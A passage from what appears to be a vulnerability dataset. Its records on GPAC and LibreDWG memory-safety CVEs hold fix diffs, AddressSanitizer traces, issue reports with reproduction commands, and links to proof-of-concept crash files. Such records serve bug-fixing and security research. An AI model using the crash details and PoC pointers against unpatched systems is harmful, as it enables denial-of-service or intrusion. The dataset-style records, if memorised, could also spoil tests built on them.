e = gf_node_list_add_child_last(field->far_ptr, new_node, &last);
- if (e) return e;
+ if (e) goto exit;
+ } else {
+ gf_node_register(new_node, NULL);
+ gf_node_unregister(new_node, node);
}
+ } else {
+ e = gf_node_list_add_child_last(field->far_ptr, new_node, &last);
+ if (e) goto exit;
}
- /*proto coding*/
- else if (codec->pCurrentProto) {
- /*TO DO: what happens if this is a QP node on the interface ?*/
- e = gf_node_list_add_child_last( (GF_ChildNodeItem **)field->far_ptr, new_node, &last);
- if (e) return e;
- }
- } else {
- return codec->LastError ? codec->LastError : GF_NON_COMPLIANT_BITSTREAM;
}
+ /*proto coding*/
+ else if (codec->pCurrentProto) {
+ /*TO DO: what happens if this is a QP node on the interface ?*/
+ e = gf_node_list_add_child_last( (GF_ChildNodeItem **)field->far_ptr, new_node, &last);
+ if (e)goto exit;
+ }
+ } else {
+ e = codec->LastError ? codec->LastError : GF_NON_COMPLIANT_BITSTREAM;
+ goto exit;
}
- /*according to the spec, the QP applies to the current node itself, not just children.
- If IsLocal is TRUE remove the node*/
- if (qp_on && qp_local) {
- if (qp_local == 2) {
+ }
+
+exit:
+
+ /*according to the spec, the QP applies to the current node itself, not just children.
+ If IsLocal is TRUE remove the node*/
+ if (qp_on && qp_local) {
+ if (qp_local == 2) {
// qp_local = 1;
- } else {
- //ask to get rid of QP and reactivate if we had a QP when entering the node
- gf_bifs_dec_qp_remove(codec, initial_qp);
+ } else {
+ //ask to get rid of QP and reactivate if we had a QP when entering the node
+ gf_bifs_dec_qp_remove(codec, initial_qp);
// qp_local = 0;
- }
}
}
+
/*finally delete the QP if any (local or not) as we get out of this node*/
if (qp_on) gf_bifs_dec_qp_remove(codec, GF_TRUE);
- return GF_OK;
+ return e;
}
| https://huntr.dev/bounties/c8c964de-046a-41b2-9ff5-e25cfdb36b5a | https://nvd.nist.gov/vuln/detail/CVE-2022-2453 | |||
gpac.cve-2021-40566 | A Segmentation fault casued by heap use after free vulnerability exists in Gpac through 1.0.1 via the mpgviddmx_process function in reframe_mpgvid.c when using mp4box, which causes a denial of service. | https://github.com/gpac/gpac/commit/96047e0e6166407c40cc19f4e94fb35cd7624391 | CWE-416 | gpac/gpac | 96047e0e6166407c40cc19f4e94fb35cd7624391~1 | diff --git a/src/filters/dec_xvid.c b/src/filters/dec_xvid.c
index dff56bf10d..ab86d85b13 100644
--- a/src/filters/dec_xvid.c
+++ b/src/filters/dec_xvid.c
@@ -181,7 +181,7 @@ static GF_Err xviddec_configure_pid(GF_Filter *filter, GF_FilterPid *pid, Bool i
/*decode DSI*/
e = gf_m4v_get_config(p->value.data.ptr, p->value.data.size, &dsi);
if (e) return e;
- if (!dsi.width || !dsi.height) return GF_NON_COMPLIANT_BITSTREAM;
+ if (!dsi.width || (dsi.width%2) || !dsi.height) return GF_NON_COMPLIANT_BITSTREAM;
memset(&par, 0, sizeof(par));
par.width = dsi.width;
diff --git a/src/filters/reframe_mpgvid.c b/src/filters/reframe_mpgvid.c
index 308546f28c..328db28551 100644
--- a/src/filters/reframe_mpgvid.c
+++ b/src/filters/reframe_mpgvid.c
@@ -805,12 +805,17 @@ GF_Err mpgviddmx_process(GF_Filter *filter)
//not enough data, accumulate until we can parse the full header
if (e==GF_EOS) {
if (vosh_start<0) vosh_start = 0;
- if (ctx->hdr_store_alloc < ctx->hdr_store_size + pck_size - vosh_start) {
- ctx->hdr_store_alloc = (u32) (ctx->hdr_store_size + pck_size - vosh_start);
- ctx->hdr_store = gf_realloc(ctx->hdr_store, sizeof(char)*ctx->hdr_store_alloc);
+ if (data == ctx->hdr_store) {
+ memmove(ctx->hdr_store, start, remain);
+ ctx->hdr_store_size = remain;
+ } else {
+ if (ctx->hdr_store_alloc < ctx->hdr_store_size + pck_size - vosh_start) {
+ ctx->hdr_store_alloc = (u32) (ctx->hdr_store_size + pck_size - vosh_start);
+ ctx->hdr_store = gf_realloc(ctx->hdr_store, sizeof(char)*ctx->hdr_store_alloc);
+ }
+ memcpy(ctx->hdr_store + ctx->hdr_store_size, data + vosh_start, (size_t) (pck_size - vosh_start) );
+ ctx->hdr_store_size += pck_size - (u32) vosh_start;
}
- memcpy(ctx->hdr_store + ctx->hdr_store_size, data + vosh_start, (size_t) (pck_size - vosh_start) );
- ctx->hdr_store_size += pck_size - (u32) vosh_start;
gf_filter_pid_drop_packet(ctx->ipid);
return GF_OK;
} else if (e != GF_OK) {
@@ -844,12 +849,17 @@ GF_Err mpgviddmx_process(GF_Filter *filter)
//not enough data, accumulate until we can parse the full header
if (e==GF_EOS) {
if (vosh_start<0) vosh_start = 0;
- if (ctx->hdr_store_alloc < ctx->hdr_store_size + pck_size - vosh_start) {
- ctx->hdr_store_alloc = (u32) (ctx->hdr_store_size + pck_size - (u32) vosh_start);
- ctx->hdr_store = gf_realloc(ctx->hdr_store, sizeof(char)*ctx->hdr_store_alloc);
+ if (data == ctx->hdr_store) {
+ memmove(ctx->hdr_store, start, remain);
+ ctx->hdr_store_size = remain;
+ } else {
+ if (ctx->hdr_store_alloc < ctx->hdr_store_size + pck_size - vosh_start) {
+ ctx->hdr_store_alloc = (u32) (ctx->hdr_store_size + pck_size - (u32) vosh_start);
+ ctx->hdr_store = gf_realloc(ctx->hdr_store, sizeof(char)*ctx->hdr_store_alloc);
+ }
+ memcpy(ctx->hdr_store + ctx->hdr_store_size, data + vosh_start, (size_t) (pck_size - vosh_start) );
+ ctx->hdr_store_size += pck_size - (u32) vosh_start;
}
- memcpy(ctx->hdr_store + ctx->hdr_store_size, data + vosh_start, (size_t) (pck_size - vosh_start) );
- ctx->hdr_store_size += pck_size - (u32) vosh_start;
gf_filter_pid_drop_packet(ctx->ipid);
return GF_OK;
} else if (e != GF_OK) {
| https://github.com/gpac/gpac/issues/1887 | ==9071==ERROR: AddressSanitizer: heap-use-after-free on address 0x62600001b100 at pc 0x7ff1a2599733 bp 0x7ffe1e68b1f0 sp 0x7ffe1e68a998
READ of size 10000 at 0x62600001b100 thread T0
#0 0x7ff1a2599732 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x79732)
#1 0x7ff1a0b32e8e in memcpy /usr/include/x86_64-linux-gnu/bits/string_fortified.h:34
#2 0x7ff1a0b32e8e in mpgviddmx_process /playground/gpac/src/filters/reframe_mpgvid.c:851
#3 0x7ff1a07e8920 in gf_filter_process_task /playground/gpac/src/filter_core/filter.c:2441
#4 0x7ff1a07a8a62 in gf_fs_thread_proc /playground/gpac/src/filter_core/filter_session.c:1640
#5 0x7ff1a07b3930 in gf_fs_run /playground/gpac/src/filter_core/filter_session.c:1877
#6 0x7ff1a028bc15 in gf_media_import /playground/gpac/src/media_tools/media_import.c:1178
#7 0x55dfd0ebb72f in convert_file_info /playground/gpac/applications/mp4box/fileimport.c:128
#8 0x55dfd0e8e515 in mp4boxMain /playground/gpac/applications/mp4box/main.c:5925
#9 0x7ff19dc3ebf6 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21bf6)
#10 0x55dfd0e6f2d9 in _start (/playground/gpac/build-a/bin/gcc/MP4Box+0x872d9)
0x62600001b100 is located 0 bytes inside of 10000-byte region [0x62600001b100,0x62600001d810)
freed by thread T0 here:
#0 0x7ff1a25fef30 in realloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdef30)
#1 0x7ff1a0b32fc5 in mpgviddmx_process /playground/gpac/src/filters/reframe_mpgvid.c:849
#2 0x7ff1a07e8920 in gf_filter_process_task /playground/gpac/src/filter_core/filter.c:2441
#3 0x7ff1a07a8a62 in gf_fs_thread_proc /playground/gpac/src/filter_core/filter_session.c:1640
#4 0x7ff1a07b3930 in gf_fs_run /playground/gpac/src/filter_core/filter_session.c:1877
#5 0x7ff1a028bc15 in gf_media_import /playground/gpac/src/media_tools/media_import.c:1178
#6 0x55dfd0ebb72f in convert_file_info /playground/gpac/applications/mp4box/fileimport.c:128
#7 0x55dfd0e8e515 in mp4boxMain /playground/gpac/applications/mp4box/main.c:5925
#8 0x7ff19dc3ebf6 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21bf6)
previously allocated by thread T0 here:
#0 0x7ff1a25fef30 in realloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdef30)
#1 0x7ff1a0b32ab5 in mpgviddmx_process /playground/gpac/src/filters/reframe_mpgvid.c:584
#2 0x7ff1a07e8920 in gf_filter_process_task /playground/gpac/src/filter_core/filter.c:2441
#3 0x7ff1a07a8a62 in gf_fs_thread_proc /playground/gpac/src/filter_core/filter_session.c:1640
#4 0x7ff1a07b3930 in gf_fs_run /playground/gpac/src/filter_core/filter_session.c:1877
#5 0x7ff1a028bc15 in gf_media_import /playground/gpac/src/media_tools/media_import.c:1178
#6 0x55dfd0ebb72f in convert_file_info /playground/gpac/applications/mp4box/fileimport.c:128
#7 0x55dfd0e8e515 in mp4boxMain /playground/gpac/applications/mp4box/main.c:5925
#8 0x7ff19dc3ebf6 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21bf6)
SUMMARY: AddressSanitizer: heap-use-after-free (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x79732)
Shadow bytes around the buggy address:
0x0c4c7fffb5d0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c4c7fffb5e0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c4c7fffb5f0: fd fd fd fd fd fd fd fd fd fd fd fd fa fa fa fa
0x0c4c7fffb600: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c4c7fffb610: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x0c4c7fffb620:[fd]fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c4c7fffb630: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c4c7fffb640: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c4c7fffb650: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c4c7fffb660: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c4c7fffb670: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==9071==ABORTING | === https://github.com/gpac/gpac/issues/1887 ===
Title: Segmentation fault casued by heap use after free using mp4box in mpgviddmx_process, reframe_mpgvid.c:851
---
Body:
- [x] I looked for a similar issue and couldn't find any.
- [x] I tried with the latest version of GPAC. Installers available at http://gpac.io/downloads/gpac-nightly-builds/
- [x] I give enough information for contributors to reproduce my issue (meaningful title, github labels, platform and compiler, command-line ...).
Hi, there.
There is a segmentation fault caused by null pointer dereference in mpgviddmx_process, reframe_mpgvid.c:851 in commit 592ba2689a3.
Here is my environment, compiler info and gpac version:
~~~~
Distributor ID: Ubuntu
Description: Ubuntu 16.04.6 LTS
Release: 16.04
Codename: xenial
gcc: 5.4.0
MP4Box - GPAC version 1.1.0-DEV-rev1170-g592ba26-master
(c) 2000-2021 Telecom Paris distributed under LGPL v2.1+ - http://gpac.io
MINI build (encoders, decoders, audio and video output disabled)
Please cite our work in your research:
GPAC Filters: https://doi.org/10.1145/3339825.3394929
GPAC: https://doi.org/10.1145/1291233.1291452
GPAC Configuration: --static-bin --enable-debug
Features: GPAC_CONFIG_LINUX GPAC_64_BITS GPAC_HAS_SOCK_UN GPAC_MINIMAL_ODF GPAC_HAS_QJS GPAC_HAS_FREETYPE GPAC_HAS_JPEG GPAC_HAS_PNG GPAC_DISABLE_3D
~~~~
To reproduce, run
~~~~
./MP4Box -info poc
~~~~
POC:
[poc.zip](https://github.com/gpac/gpac/files/7037550/mp4box-npd_mpgviddmx_process851.zip)
(unzip first)
Here is the trace reported by gdb:
~~~~
Stopped reason: SIGSEGV
gef➤ bt
#0 0x0000000000cf5a9b in memcpy ()
#1 0x00000000008a24a7 in mpgviddmx_process (filter=0x124cbd0) at /mnt/data/playground/gpac/src/filters/reframe_mpgvid.c:851
#2 0x00000000007480a0 in gf_filter_process_task (task=0x123a0e0) at /mnt/data/playground/gpac/src/filter_core/filter.c:2441
#3 0x000000000073798c in gf_fs_thread_proc (sess_thread=0x12382b0) at /mnt/data/playground/gpac/src/filter_core/filter_session.c:1640
#4 0x0000000000738305 in gf_fs_run (fsess=0x1238220) at /mnt/data/playground/gpac/src/filter_core/filter_session.c:1877
#5 0x00000000006571ea in gf_media_import (importer=0x7fffffff5c20) at /mnt/data/playground/gpac/src/media_tools/media_import.c:1178
#6 0x000000000042cdf9 in convert_file_info (inName=0x7fffffffe163 "tmp", trackID=0x0) at /mnt/data/playground/gpac/applications/mp4box/fileimport.c:128
#7 0x00000000004168c3 in mp4boxMain (argc=0x3, argv=0x7fffffffdde8) at /mnt/data/playground/gpac/applications/mp4box/main.c:5925
#8 0x0000000000418d6b in main (argc=0x3, argv=0x7fffffffdde8) at /mnt/data/playground/gpac/applications/mp4box/main.c:6455
#9 0x0000000000caaa06 in generic_start_main ()
#10 0x0000000000caaff5 in __libc_start_main ()
#11 0x0000000000403f39 in _start ()
~~~~
The reason for this bug is that the program does not check the nullity of the pointer before copy memory to it.
<img width="1324" alt="image" src="https://user-images.githubusercontent.com/7632714/130580112-09339006-e245-4ade-8697-da5e6fab037d.png">
---
Comment #1 by 5hadowblad3:
Here is the trace reported by ASAN:
~~~~
==9071==ERROR: AddressSanitizer: heap-use-after-free on address 0x62600001b100 at pc 0x7ff1a2599733 bp 0x7ffe1e68b1f0 sp 0x7ffe1e68a998
READ of size 10000 at 0x62600001b100 thread T0
#0 0x7ff1a2599732 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x79732)
#1 0x7ff1a0b32e8e in memcpy /usr/include/x86_64-linux-gnu/bits/string_fortified.h:34
#2 0x7ff1a0b32e8e in mpgviddmx_process /playground/gpac/src/filters/reframe_mpgvid.c:851
#3 0x7ff1a07e8920 in gf_filter_process_task /playground/gpac/src/filter_core/filter.c:2441
#4 0x7ff1a07a8a62 in gf_fs_thread_proc /playground/gpac/src/filter_core/filter_session.c:1640
#5 0x7ff1a07b3930 in gf_fs_run /playground/gpac/src/filter_core/filter_session.c:1877
#6 0x7ff1a028bc15 in gf_media_import /playground/gpac/src/media_tools/media_import.c:1178
#7 0x55dfd0ebb72f in convert_file_info /playground/gpac/applications/mp4box/fileimport.c:128
#8 0x55dfd0e8e515 in mp4boxMain /playground/gpac/applications/mp4box/main.c:5925
#9 0x7ff19dc3ebf6 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21bf6)
#10 0x55dfd0e6f2d9 in _start (/playground/gpac/build-a/bin/gcc/MP4Box+0x872d9)
0x62600001b100 is located 0 bytes inside of 10000-byte region [0x62600001b100,0x62600001d810)
freed by thread T0 here:
#0 0x7ff1a25fef30 in realloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdef30)
#1 0x7ff1a0b32fc5 in mpgviddmx_process /playground/gpac/src/filters/reframe_mpgvid.c:849
#2 0x7ff1a07e8920 in gf_filter_process_task /playground/gpac/src/filter_core/filter.c:2441
#3 0x7ff1a07a8a62 in gf_fs_thread_proc /playground/gpac/src/filter_core/filter_session.c:1640
#4 0x7ff1a07b3930 in gf_fs_run /playground/gpac/src/filter_core/filter_session.c:1877
#5 0x7ff1a028bc15 in gf_media_import /playground/gpac/src/media_tools/media_import.c:1178
#6 0x55dfd0ebb72f in convert_file_info /playground/gpac/applications/mp4box/fileimport.c:128
#7 0x55dfd0e8e515 in mp4boxMain /playground/gpac/applications/mp4box/main.c:5925
#8 0x7ff19dc3ebf6 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21bf6)
previously allocated by thread T0 here:
#0 0x7ff1a25fef30 in realloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdef30)
#1 0x7ff1a0b32ab5 in mpgviddmx_process /playground/gpac/src/filters/reframe_mpgvid.c:584
#2 0x7ff1a07e8920 in gf_filter_process_task /playground/gpac/src/filter_core/filter.c:2441
#3 0x7ff1a07a8a62 in gf_fs_thread_proc /playground/gpac/src/filter_core/filter_session.c:1640
#4 0x7ff1a07b3930 in gf_fs_run /playground/gpac/src/filter_core/filter_session.c:1877
#5 0x7ff1a028bc15 in gf_media_import /playground/gpac/src/media_tools/media_import.c:1178
#6 0x55dfd0ebb72f in convert_file_info /playground/gpac/applications/mp4box/fileimport.c:128
#7 0x55dfd0e8e515 in mp4boxMain /playground/gpac/applications/mp4box/main.c:5925
#8 0x7ff19dc3ebf6 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21bf6)
SUMMARY: AddressSanitizer: heap-use-after-free (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x79732)
Shadow bytes around the buggy address:
0x0c4c7fffb5d0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c4c7fffb5e0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c4c7fffb5f0: fd fd fd fd fd fd fd fd fd fd fd fd fa fa fa fa
0x0c4c7fffb600: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c4c7fffb610: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x0c4c7fffb620:[fd]fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c4c7fffb630: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c4c7fffb640: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c4c7fffb650: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c4c7fffb660: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c4c7fffb670: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==9071==ABORTING
~~~~
---
Comment #2 by aureliendavid:
reposting my previous comment
<hr />
hm this one is a bit trickier
when doing
https://github.com/gpac/gpac/blob/70607fc71a671cf48a05e013a4e411429373dce7/src/filters/reframe_mpgvid.c#L847-L851
the `realloc()` will (depending on conditions) free the old pointer before returning the new one
however, `data` might have been set to the old pointer value at https://github.com/gpac/gpac/blob/70607fc71a671cf48a05e013a4e411429373dce7/src/filters/reframe_mpgvid.c#L594
so the `memcpy()` tries to copy from an already freed zone
I'm not sure about the best way to fix this yet but wanted to share the analysis
| https://nvd.nist.gov/vuln/detail/CVE-2021-40566 | ||
libredwg.cve-2020-6615 | GNU LibreDWG 0.9.3.2564 has an invalid pointer dereference in dwg_dynapi_entity_value in dynapi.c (dynapi.c is generated by gen-dynapi.pl). | https://github.com/LibreDWG/libredwg/issues/179#issuecomment-570447223 | https://github.com/LibreDWG/libredwg/commit/757b87f2d01127df1fa890f7a6c8608ffe9cd23e | CWE-476 | LibreDWG/libredwg | 3f515d52954e2ec009a2508d3d5be04e3bcc094b | diff --git a/examples/dwg2svg2.c b/examples/dwg2svg2.c
index 60e388887f..8d39e60635 100644
--- a/examples/dwg2svg2.c
+++ b/examples/dwg2svg2.c
@@ -322,16 +322,12 @@ output_BLOCK_HEADER (dwg_object_ref *ref)
return;
}
hdr = dwg_ref_get_object (ref, &error);
- log_if_error ("reference_get_object");
+ if (!hdr || error) log_error ("dwg_ref_get_object");
abs_ref = dwg_ref_get_absref (ref, &error);
- log_if_error ("ref_get_abs_ref");
- if (!hdr)
- {
- fprintf (stderr, "Found null ref->obj\n");
- return;
- }
+ log_if_error ("dwg_ref_get_absref");
_hdr = dwg_object_to_BLOCK_HEADER (hdr);
+ if (!_hdr) log_error ("dwg_object_to_BLOCK_HEADER");
dynget (_hdr, "BLOCK_HEADER", "name", &name);
// name = dwg_obj_block_header_get_name (_hdr, &error);
// log_if_error ("block_header_get_name");
| https://github.com/LibreDWG/libredwg/issues/179#issuecomment-570447223 | ==4335==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x611000000258 at pc 0x55f9e1e04e05 bp 0x7ffc92f94a40 sp 0x7ffc92f94a30
READ of size 8 at 0x611000000258 thread T0
#0 0x55f9e1e04e04 in read_pages_map ../../src/decode_r2007.c:1007
#1 0x55f9e1e04e04 in read_r2007_meta_data ../../src/decode_r2007.c:1774
#2 0x55f9e1dd66d7 in decode_R2007 ../../src/decode.c:2973
#3 0x55f9e1dd66d7 in dwg_decode ../../src/decode.c:241
#4 0x55f9e177b466 in dwg_read_file ../../src/dwg.c:210
#5 0x55f9e1776d4b in test_SVG ../../examples/dwg2svg2.c:116
#6 0x55f9e1776d4b in main ../../examples/dwg2svg2.c:501
#7 0x7f595f806b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#8 0x55f9e17779a9 in _start (/home/user/linhlhq/libredwg/asan_build/examples/dwg2svg2+0x2d59a9)
0x61100000025c is located 0 bytes to the right of 220-byte region [0x611000000180,0x61100000025c)
allocated by thread T0 here:
#0 0x7f5960052d38 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded38)
#1 0x55f9e1de73be in read_system_page ../../src/decode_r2007.c:635
SUMMARY: AddressSanitizer: heap-buffer-overflow ../../src/decode_r2007.c:1007 in read_pages_map
Shadow bytes around the buggy address:
0x0c227fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c227fff8000: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
0x0c227fff8010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c227fff8020: 00 00 00 00 00 00 fa fa fa fa fa fa fa fa fa fa
0x0c227fff8030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c227fff8040: 00 00 00 00 00 00 00 00 00 00 00[04]fa fa fa fa
0x0c227fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c227fff8060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c227fff8070: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c227fff8080: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c227fff8090: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==4335==ABORTING
READ of size 1 at 0x7f8f1c662900 thread T0
#0 0x556621519ff4 in bit_search_sentinel ../../src/bits.c:1844
#1 0x556621ae0a78 in decode_R13_R2000 ../../src/decode.c:1437
#2 0x556621b0cd42 in dwg_decode ../../src/decode.c:239
#3 0x5566214b2466 in dwg_read_file ../../src/dwg.c:210
#4 0x5566214add4b in test_SVG ../../examples/dwg2svg2.c:116
#5 0x5566214add4b in main ../../examples/dwg2svg2.c:501
#6 0x7f8f1ae29b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#7 0x5566214ae9a9 in _start (/home/user/linhlhq/libredwg/asan_build/examples/dwg2svg2+0x2d59a9)
0x7f8f1c662900 is located 0 bytes to the right of 401664-byte region [0x7f8f1c600800,0x7f8f1c662900)
allocated by thread T0 here:
#0 0x7f8f1b675d38 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded38)
#1 0x5566214b234c in dat_read_file ../../src/dwg.c:73
#2 0x5566214b234c in dwg_read_file ../../src/dwg.c:203
SUMMARY: AddressSanitizer: heap-buffer-overflow ../../src/bits.c:1844 in bit_search_sentinel
Shadow bytes around the buggy address:
0x0ff2638c44d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0ff2638c44e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0ff2638c44f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0ff2638c4500: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0ff2638c4510: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0ff2638c4520:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0ff2638c4530: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0ff2638c4540: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0ff2638c4550: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0ff2638c4560: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0ff2638c4570: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==4471==ABORTING
==4589==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x61b0000014f4 at pc 0x7fe367220733 bp 0x7fff95bb63e0 sp 0x7fff95bb5b88
READ of size 96 at 0x61b0000014f4 thread T0
#0 0x7fe367220732 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x79732)
#1 0x559f5ee1a6a9 in memcpy /usr/include/x86_64-linux-gnu/bits/string_fortified.h:34
#2 0x559f5ee1a6a9 in bfr_read ../../src/decode.c:1548
#3 0x559f5ee1a6a9 in read_R2004_section_info ../../src/decode.c:2062
#4 0x559f5f3e2392 in decode_R2004 ../../src/decode.c:2910
#5 0x559f5f3eac7d in dwg_decode ../../src/decode.c:245
#6 0x559f5ed90466 in dwg_read_file ../../src/dwg.c:210
#7 0x559f5ed8bd4b in test_SVG ../../examples/dwg2svg2.c:116
#8 0x559f5ed8bd4b in main ../../examples/dwg2svg2.c:501
#9 0x7fe366a39b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#10 0x559f5ed8c9a9 in _start (/home/user/linhlhq/libredwg/asan_build/examples/dwg2svg2+0x2d59a9)
0x61b0000014f4 is located 0 bytes to the right of 1652-byte region [0x61b000000e80,0x61b0000014f4)
allocated by thread T0 here:
#0 0x7fe367285d38 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded38)
#1 0x559f5ee1a1e7 in read_R2004_section_info ../../src/decode.c:2007
#2 0x2ddf1 (<unknown module>)
SUMMARY: AddressSanitizer: heap-buffer-overflow (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x79732)
Shadow bytes around the buggy address:
0x0c367fff8240: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c367fff8250: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c367fff8260: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c367fff8270: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c367fff8280: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c367fff8290: 00 00 00 00 00 00 00 00 00 00 00 00 00 00[04]fa
0x0c367fff82a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c367fff82b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c367fff82c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c367fff82d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c367fff82e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==4589==ABORTING
==4839==ERROR: AddressSanitizer failed to allocate 0x6e0002000 (29527908352) bytes of LargeMmapAllocator (error | === https://github.com/LibreDWG/libredwg/issues/179#issuecomment-570447223 ===
Title: Several bugs found by fuzzing
---
Body:
Hi,
After fuzzing libredwg, I found the following bugs on the latest commit on master.
Command: ./dwg2svg2 $PoC
**1.heap-buffer-overflow in read_pages_map ../../src/decode_r2007.c:1007**
POC: https://github.com/linhlhq/research/blob/master/PoCs/libreDWG_0.9.3.2564/id:000239%2Csig:06%2Csrc:007083%2Cop:havoc%2Crep:4
ASAN says:
```
==4335==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x611000000258 at pc 0x55f9e1e04e05 bp 0x7ffc92f94a40 sp 0x7ffc92f94a30
